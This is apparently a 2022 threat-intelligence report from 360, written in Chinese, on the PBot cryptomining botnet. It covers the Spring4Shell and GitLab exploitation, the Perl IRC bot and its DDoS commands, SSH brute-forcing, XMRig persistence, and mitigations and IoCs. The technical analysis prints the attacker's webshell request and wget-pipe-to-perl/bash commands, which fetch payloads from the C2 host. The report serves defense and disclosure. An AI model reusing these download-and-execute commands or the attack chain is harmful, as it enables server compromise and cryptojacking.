0x01 概述
近期,360安全大脑监测到一个挖矿僵尸网络,并对其进行了持续跟踪。其bot模块为GitHub开源的IRCBot(采用Perl语言编写),且病毒脚本中包含perlbot关键字,遂命名为PBot。该僵尸网络正利用Spring4Shell漏洞(CVE-2022-22965)、GitLab CE/EE RCE漏洞(CVE-2021-22205)等漏洞大肆攻击互联网中主机以植入恶意脚本构建僵尸网络、挖矿牟利。目前该病毒家族至少包含7个漏洞利用模块(详见附录1),并收集了上万个脆弱主机IP地址。
由于上述漏洞均为高危漏洞,利用方式较为简单且已经公开(通过构造恶意HTTP请求即可实现),广大用户可使用360安全大脑相关产品进行全面查杀,并从以下4个方面进行加固,以免遭受黑客攻击,造成不必要的损失。
1. 更新Spring Framework至5.2.20或5.3.18以上版本;更新Spring Boot至2.5.12或2.6.6以上版本; 2. 将Gitlab升级到最新的安全版本; 3. 若非业务需要,不要在公网开放Gitlab接口,采用本地或内网访问,设置访问白名单等方式进行加固; 4. 服务器应配置高强度的登录密码(大小写字母、数字和特殊字符的组合密码),并定期更换密码。
0x02 漏洞详情
Spring4Shell漏洞(CVE-2022-22965)
Spring框架是Java平台一个开源的全栈应用程序框架和控制反转容器实现,其参数绑定机制允许开发人员将HTTP 请求详细信息绑定到特定于应用程序的对象。因其getCachedIntrospectionResults方法在绑定参数时错误的暴露了类对象,致使在JDK 9+上运行的Spring MVC、Spring WebFlux应用程序可能容易受到通过参数绑定的远程代码执行 (RCE) 攻击。
漏洞状态:
漏洞编号 | 漏洞等级 | 漏洞详情 | POC | EXP | 在野利用 |
---|---|---|---|---|---|
CVE-2022-22965 | 高危 | 已公开 | 已知 | 已知 | 已存在 |
受影响版本 | 安全版本 |
---|---|
Spring Framework | Spring Framework = 5.2.20 |
Spring Framework | Spring Framework = 5.3.18 |
Spring Boot | Spring Boot = 2.5.12 |
Spring Boot | Spring Boot = 2.6.6 |
0x03 技术分析
执行流程
1)攻击者首先利用Spring4Shell漏洞(CVE-2022-22965)、GitLab CE/EE RCE漏洞(CVE-2021-22205)向存在上述漏洞的主机植入恶意脚本jui.sh(下载挖矿脚本等)、僵尸网络bot模块j(Perl编写)、lans(下载ssh暴破模块)。其利用Spring4Shell(CVE-2022-22965)下载并执行僵尸网络bot模块j
的payload片段如下:
GET /shell.jsp?pwd=k3rwin&cmd=wget -q -O - 89.44.9.246/j|perl HTTP/1.1
其次,攻击者还可利用Laravel反序列化RCE漏洞 (CVE-2018-15133)下载并执行僵尸网络bot模块pp
。
2)接着,恶意脚本jui.sh
会下载并运行僵尸网络bot模块lan
(Perl编写)构建僵尸网络;然后,执行挖矿shell脚本45.647.txt
挖矿牟利。需要注意的是,PBot包含的多个僵尸网络bot模块,只是bot server不同,功能完全一致。
wget -qO - 89.44.9.246/lan|perl wget -qO - 89.44.9.246/all/45.647.txt|bash
3)SSH暴破实现横向传播
恶意脚本lans
会从C2(89.44.9.246)下载lan.jpg
(一个压缩包),其目录结构如下:
首先,恶意脚本run
调用恶意elf文件pass,获取中招主机所有用户名,生成新的暴破字典保存到pass.txt
,并与原始暴破字典passfile合并,以生成最终的暴破字典pass3
。最后,调用恶意脚本c
对主机所在网段进行SSH暴破。
SSH暴破成功后,便执行shell命令以下载并运行Perl编写的僵尸网络bot模块pp
。
其中,cola
是一个用于暴破的黑客工具。
僵尸网络bot模块
bot模块可对目标主机发起多种DDoS攻击,支持近40条指令(含7条DDoS攻击指令、6条洪泛攻击指令),详细指令详见附录2。其通信过程大致如下:
1)TCP连接建立后,中招主机使用IRC协议向bot server(194.163.141.243:6667)发送2个请求,进行身份验证。其中BU-57890为中招主机昵称标识(格式为:”BU-” + rand(99999) )。
Request: NICK BU-57890 Request: USER VICTIM 192.168.192.157 194.163.141.243 :VICTIM
2)中招主机身份验证通过后,bot server会发送欢迎信息,并告知中招主机当前僵尸网络结点个数等信息。
3)接着,中招主机发送加入僵尸网络请求(JOIN指令);bot server将其加入僵尸网络,并告知当前僵尸网络中已有结点昵称。
4)当有新的结点加入该僵尸网络时,bot server会告知中招主机。
门罗币挖矿
恶意shell脚本45.647.txt
,主要功能为:
1)创建目录
/var/log/gitlab/gitlab-rails/kthmimu /tmp/.qwerty
2)清除其他挖矿对手
3)创建下载恶意shell脚本ioi
的定时任务,ioi脚本又会从C2(89.44.9.246)下载45.647.txt,从而实现持久化。
4)下载并运行xmrig挖矿木马
为了增强挖矿活动隐蔽性,其会自动结束CPU占用率70%以上的进程。
同时,我们注意到,其早期挖矿模块xmr.tgz,则采用伪装进程名方式隐蔽挖矿,并通过添加挖矿启动脚本定时任务方式实现持久化。
如下是PBot其中一个钱包地址的收益情况,对应公共矿池94.130.13.27:7777(pool.supportxmr.com)。
最新版的矿池为:sshd1.psybnc.org:4430
,可以发现其从公共矿池到私有矿池的转变。
顺藤摸瓜
在对该僵尸网络进行深入挖掘溯源后,我们还原了其大致架构。
目录名 | 备注 |
---|---|
/22 | 漏洞利用相关文件,以及扫描的目标IP列表 |
/all | 恶意主脚本、挖矿相关文件、扫描的目标IP列表 |
根目录下的其他文件 | bot模块(perl脚本)、ssh暴破模块、扫描的目标IP列表、其他恶意脚本 |
/znc | 挖矿相关文件 |
/v5 | 无访问权限 |
0x04 IoCs
C2:
89.44.9.246
146.70.80.113
185.158.251.99
194.163.141.243
ftp.neitel.net
矿池:
94.130.13.27:7777
sshd1.psybnc.org:4430
gulf.moneroocean.stream:10128
钱包地址:
42Q8pHgf7tKTB7u1Lv6kmFRCg24udi2prGZ5gP2GUioiDL2sbgAag3Y9AWsQrDJSg991pU6keY1RqRSYTPCEWrhrV65W3qY
87CgVNisfTySvd79TSEqYWcRyzkSUJx2i5YJP9mx9R2QPVsD8HG3Rb2abSHbcHteYoHdWmx6Y9QvA8FPxzHDo2wE55K3iqv
MD5 | 文件名 | 文件类型 | 备注 |
---|---|---|---|
851391be5d17a58dfaaf53172f3b2b1c | jui.sh | shell | 首个入侵的恶意shell脚本 |
7962743968b186b082c0aa66c838f284 | 45.647.txt | shell | 第二阶段下载的挖矿shell脚本 |
58d7aaf6a4152585d5453de0b1797daf | lan | perl | perl编写的bot |
bc5ef4ef66a24188056c17631ed1da77 | j | perl | perl编写的bot |
bc485470f634c659e68fbb18b1f92970 | pp | perl | perl编写的bot |
dc3f6b91e39ebb6b2f2642039025d0bd | ioi | shell | 下载45.647.txt的恶意shell脚本 |
c57ff21ebf088948ec05ac7dd89826dd | 45.64.rar | elf | xmrig挖矿木马 |
ea9dc6a4690b3dd511f8c7d58003774d | 45.64.json | json | 挖矿配置文件 |
acb42ee232214fbe14f463584964cd11 | xmr.tgz | tgz | 挖矿模块 |
333be948f8c195e5fdcde7110bf3f2d5 | lans | shell | 下载ssh暴破模块lan.jpg |
0x05 附录
附录1:该病毒家族用到的7个漏洞
漏洞名称 | 漏洞编号 |
---|---|
Spring4Shell漏洞 | CVE-2022-22965 |
GitLab CE/EE RCE漏洞 | CVE-2021-22205 |
Linux Polkit权限提升漏洞 | CVE-2021-4034 |
Linux内核提权漏洞 | CVE-2021-3493 |
Sudo 堆缓冲区溢出漏洞 | CVE-2021-3156 |
Laravel 反序列化RCE漏洞 | CVE-2018-15133 |
脏牛漏洞(dirtycow) | CVE-2016-5195 |
附录2:Bot模块指令
指令类型 | 指令名 | 条数 | 具体指令 |
---|---|---|---|
DDoS攻击指令 | ddos | 7 | udpflood |
洪泛攻击指令 | flooding | 6 | msgflood dunixflood ctcpflood noticeflood channelflood maxiflood |
数据流及漏洞更新指令 | news | 2 | packetstorm milw0rm |
黑客攻击相关指令 | hacking | 12 | multiscan socks5 portscan logcleaner sendmail system cleartmp unixable nmap back linuxhelp cd tmp |
IRC通信相关指令 | irc | 12 | killme join #channel part #channel reset voice owner deowner devoice halfop dehalfop op deop |
0x06 产品侧解决方案
若想了解更多产品信息或有相关业务需求,可移步至http://360.net。
360安全分析响应平台
360安全大脑的安全分析响应平台通过网络流量检测、多传感器数据融合关联分析手段,对该类漏洞的利用进行实时检测和阻断,请用户联系相关产品区域负责人获取对应产品。
360安全卫士
Windows用户可通过360安全卫士实现对应补丁安装、漏洞修复、恶意软件查杀,其他平台的用户可以根据修复建议列表中的安全建议进行安全维护。
360CERT建议广大用户使用360安全卫士定期对设备进行安全检测,以做好资产自查以及防护工作。
360本地安全大脑
360本地安全大脑是将360云端安全大脑核心能力本地化部署的一套开放式全场景安全运营平台,实现安全态势、监控、分析、溯源、研判、响应、管理的智能化安全运营赋能。360本地安全大脑已支持对相关漏洞利用的检测,请及时更新网络神经元(探针)规则和本地安全大脑关联分析规则,做好防护。
360终端安全管理系统
360终端安全管理系统软件是在360安全大脑极智赋能下,以大数据、云计算等新技术为支撑,以可靠服务为保障,集防病毒与终端安全管控功能于一体的企业级安全产品。
360终端安全管理系统已支持对相关漏洞进行检测和修复,建议用户及时更新漏洞库并安装更新相关补丁。
0x07 时间线
2022-06-24 360高级威胁研究分析中心发布通告